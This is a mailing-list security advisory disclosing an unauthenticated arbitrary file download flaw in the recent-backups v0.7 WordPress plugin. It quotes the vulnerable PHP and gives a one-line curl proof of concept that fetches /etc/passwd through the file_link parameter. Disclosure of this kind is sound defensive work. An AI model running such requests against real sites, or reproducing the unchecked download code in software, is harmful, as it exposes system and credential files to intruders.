Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 14 Jul 2015 17:25:57 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Remote file download vulnerability in recent-backups v0.7 wordpress
 plugin

Title: Remote file download vulnerability in recent-backups v0.7 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-13
Download Site: https://wordpress.org/plugins/recent-backups
Vendor: https://profiles.wordpress.org/andycheeseman/
Vendor Notified: 2015-07-13
Vendor Contact: plugins@...dpress.org
Description: To be used with the BackupWordPress plugin to list the contents of the backup directory in a dashboard widget.
Vulnerability:
The code in  download-file.php doesn't verify the user is logged in or sanitize what files can be downloaded.  This vulnerability can be used
to download sensitive system files:

     2	$file = $_GET['file_link'];
     3	
     4	if (file_exists($file)) {
     5	    header('Content-Description: File Transfer');
     6	    header('Content-Type: application/octet-stream');
     7	    header('Content-Disposition: attachment; filename='.basename($file));
     8	    header('Content-Transfer-Encoding: binary');
     9	    header('Expires: 0');
    10	    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    11	    header('Pragma: public');
    12	    header('Content-Length: ' . filesize($file));
    13	    ob_clean();
    14	    flush();
    15	    readfile($file);

CVEID:
OSVDB:
Exploit Code:
	• $ curl -v "http://www.example.com/wp-content/plugins/recent-backups/download-file.php?file_link=/etc/passwd

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.